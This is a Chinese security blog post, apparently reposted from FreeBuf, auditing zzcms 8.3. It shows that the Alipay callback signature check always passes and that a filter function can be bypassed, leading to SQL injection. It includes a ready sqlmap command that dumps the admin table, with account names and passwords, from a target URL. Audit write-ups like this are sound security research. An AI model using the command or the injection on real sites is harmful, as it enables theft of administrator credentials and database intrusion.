内容简介:偶然发现有大佬审计了这款CMS的8.2版本,并且发现了SQL注入漏洞,到官网看了一下,官网已经更新了8.3版本,发现源码不大,于是想要重新审计一下,看看是否能够寻找到新的漏洞,顺便学习此CMS的架构的思想。
*本文原创作者:DYBOY,本文属FreeBuf原创奖励计划,未经许可禁止转载
偶然发现有大佬审计了这款CMS的8.2版本,并且发现了 SQL 注入漏洞,到官网看了一下,官网已经更新了8.3版本,发现源码不大,于是想要重新审计一下,看看是否能够寻找到新的漏洞,顺便学习此CMS的架构的思想。
0×01 简介
zzcms,站长招商网cms,适用于招商代理型的行业网站,可用于医药招商网站程序源码,服装招商网站程序源码,化妆品招商网站的程序源码等
官网地址: http://www.zzcms.net/
这次就直接按照思路来审计,记录一下过程…
***************安装步骤***************第一步:上传程序到服务器网站目录第二步:运行install目录进行安装(在地址栏输入http://你的域名/install)*****************安装平台要求*****************1.Windows 平台:IIS/Apache/Nginx + PHP4/PHP5.2/PHP5.3/PHP7 + MySQL4/52.Linux/Unix 平台Apache + PHP4/PHP5/PHP7 + MySQL4/5 (PHP必须在非安全模式下运行)3.PHP必须环境或启用的系统函数:allow_url_fopen GD扩展库 MySQL 扩展库mysqli扩展库
0×02 寻找敏感信息泄漏/重装漏洞
重装漏洞不存在,与install/install.lock 文件关联,安装的时候,还得先把这个文件删除,因为默认存在~
1.默认后台管理登录地址:./admin/login.php
2.安装完成后没有删除./install/data.sql文件导致数据库结构信息泄漏
0×03 寻找SQL注入与XSS
在./3/alipay/notify_url.php和./3/alipay/return_url.php,这两个回调验证支付文件中,有写数据库的操作,同时对于写入数据库的参数没有过滤,有XSS和SQL注入的风险
两者差不多,因此选择./3/alipay/return_url.php 为例子吧
<?php//计算得出通知验证结果//第24行左右开始$alipayNotify = new AlipayNotify($alipay_config);$verify_result = $alipayNotify->verifyReturn();if($verify_result) {//验证成功 ···//此处代码省略}?>
看到上面的代码,有一个AlipayNotify()的对象实例化,这个初始化只要配置数据有就能成功初始化,然后我们进入verifyRetuen()函数看看。
// 在./3/alipay/lib/alipay_notify.class.php 第77行左右 function verifyReturn(){ if(empty($_GET)) {//判断POST来的数组是否为空 return false; } else { //生成签名结果 $isSign = $this->getSignVeryfy($_GET, $_GET["sign"]); //获取支付宝远程服务器ATN结果(验证是否是支付宝发来的消息) $responseTxt = 'true'; if (! empty($_GET["notify_id"])) {$responseTxt = $this->getResponse($_GET["notify_id"]);} //写日志记录 //if ($isSign) { // $isSignStr = 'true'; //} //else { // $isSignStr = 'false'; //} //$log_text = "responseTxt=".$responseTxt."\n return_url_log:isSign=".$isSignStr.","; //$log_text = $log_text.createLinkString($_GET); //logResult($log_text); //验证 //$responsetTxt的结果不是true,与服务器设置问题、合作身份者ID、notify_id一分钟失效有关 //isSign的结果不是true,与安全校验码、请求时的参数格式(如:带自定义参数等)、编码格式有关 if (preg_match("/true$/i",$responseTxt) && $isSign) { return true; } else { return true; }
所以只需要传入需要的GET参数就会返回true,emmm~
测试结果如下:
发现做了转义:
但并没有找到转义的函数,应该是 magic_quotes_gpc 配置的原因吧
同时可以在\3\alipay\lib\alipay_core.function.php看到这样的函数
function createLinkstring($para) { $arg = ""; while (list ($key, $val) = each ($para)) { $arg.=$key."=".$val."&"; } //去掉最后一个&字符 $arg = substr($arg,0,count($arg)-2); //如果存在转义字符,那么去掉转义 if(get_magic_quotes_gpc()){$arg = stripslashes($arg);} return $arg;}/** * 把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串,并对字符串做urlencode编码 * @param $para 需要拼接的数组 * return 拼接完成以后的字符串 */function createLinkstringUrlencode($para) { $arg = ""; while (list ($key, $val) = each ($para)) { $arg.=$key."=".urlencode($val)."&"; } //去掉最后一个&字符 $arg = substr($arg,0,count($arg)-2); //如果存在转义字符,那么去掉转义 if(get_magic_quotes_gpc()){$arg = stripslashes($arg);} return $arg;}
所以将 php.ini 中的 magic_quotes_gpc 设置为 On 就可以去掉转义符号了,再次测试结果如下:
因为默认是不会显示错误的,这里就没有回显,可以写文件,当然得有写的权限才行,也可以盲注
懒得写脚本,SQLmap输入如下命令就可以直接得到管理员账号密码:
python sqlmap/sqlmap.py -u "http://www.test.com/3/alipay/return_url.php?out_trade_no=test™_no=test™_status=test&total_fee=123" -p trade_no --batch -D safe -T zzcms_admin --dump
SQLMAP还帮忙破解出了密码的明文(SQLMAP牛逼):
同理在./3/文件夹下有不同的支付类型,其NotifyUrl和ReturnUrl类似的文件都存在这样的SQL注入问题,这个SQL注入的利用唯一条件就是
magic_qutes_gpc值为On
0×04 回溯过滤函数
已经验证了SQL注入的存在,那么检验一下是否能够绕过呐?
定位到\inc\stopsqlin.php 这个全局参数过滤文件,为了便于理解,有必要贴出该文件源码如下:
<?php//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数 //这里用于过滤script标签,但是我们可以使用别的XSS Payloadif (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){die ("无效参数");//注意这里不能用js提示}function zc_check($string){ if(!is_array($string)){ //这里是问题关键所在,如果传入的参数不是数组,那么进入if判断内 if(get_magic_quotes_gpc()){ //此处开启GPC后就不转义 return htmlspecialchars(trim($string)); //对于SQL注入来说,没用~ }else{ return addslashes(htmlspecialchars(trim($string)));//否则addslashes转义一下 } } foreach($string as $k => $v) $string[$k] = zc_check($v); return $string;}if($_REQUEST){ $_POST =zc_check($_POST); $_GET =zc_check($_GET); $_COOKIE =zc_check($_COOKIE); @extract($_POST); @extract($_GET);}//特别的表单,需要特别提示的function nostr($str){//strip_tags($str); $sql_injdata = "',/,\,<,>,�"; $sql_inj = explode(",",$sql_injdata); for ($i=0; $i< count($sql_inj);$i++){ if (@strpos($str,$sql_inj[$i])!==false){ showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填"); } } return $str;//没有的返回值}//过滤指定字符,function stopsqlin($str){if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i] $str=strtolower($str);//否则过过滤不全 $sql_injdata = ""; $sql_injdata= $sql_injdata."|".stopwords; $sql_injdata=CutFenGeXian($sql_injdata,"|"); $sql_inj = explode("|",$sql_injdata); for ($i=0; $i< count($sql_inj);$i++){ if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");} }}}$r_url=strtolower($_SERVER["REQUEST_URI"]);if (checksqlin=="Yes") {if (strpos($r_url,"siteconfig.php")==0 && strpos($r_url,"label")==0 && strpos($r_url,"template.php")==0) {foreach ($_GET as $get_key=>$get_var){ stopsqlin($get_var);} /* 过滤所有GET过来的变量 */ foreach ($_POST as $post_key=>$post_var){ stopsqlin($post_var); }/* 过滤所有POST过来的变量 *///foreach ($_COOKIE as $cookie_key=>$cookie_var){ stopsqlin($cookie_var); }/* 过滤所有COOKIE过来的变量 *///foreach ($_REQUEST as $request_key=>$request_var){ stopsqlin($request_var); }/* 过滤所有request过来的变量 */}}?>
对应上面源码的第六行的 zc_check() 函数,已经写了注释,虽然做了htmlspecialchars()(转义XSS字符) 和 trim() (去掉参数两边空格)
在使用htmlspecialchars()函数的时候注意第二个参数, 直接用htmlspecialchars($string) 的话,第二个参数默认是ENT_COMPAT,函数默认只是转化双引号(“), 不对单引号(‘)做转义。
在如图所指的几个文件夹应该都存在SQL注入,博主没有细看,管他的,拉一个 程序员 祭天吧!
0×05 总结
审计代码,要配合好环境,不同的环境就有不同的结果!
0X06 LEARN MORE INFORMATION
If you have difficulty to understand the meaning of Chinese, please read the followed:
The vulnerability is a sql injection, as you can see easily, we can use an application which named sqlmap, input the commond:python sqlmap/sqlmap.py -u "http://www.test.com/3/alipay/return_url.php?out_trade_no=test™_no=test™_status=test&total_fee=123" -p trade_no --batch -D safe -T zzcms_admin --dumpThen we can easily get the administrator's information about username and password etc. But there is a little limitation, you must make sure the value of magic_qutes_gpc is on, this is important! At the same time, in the folder '3', there are more similarily bugs, it is too much, I don't want to write any more, we could use the same method.
success result:
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- python模拟登陆知乎(最新版)
- 某开源博客系统最新版源码审计
- CocoaPods打包私有库实践 | 最新版
- 记录过某常见WAF最新版
- DuomiCMS3.0最新版漏洞挖掘
- Azkaban3.59.x 最新版
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。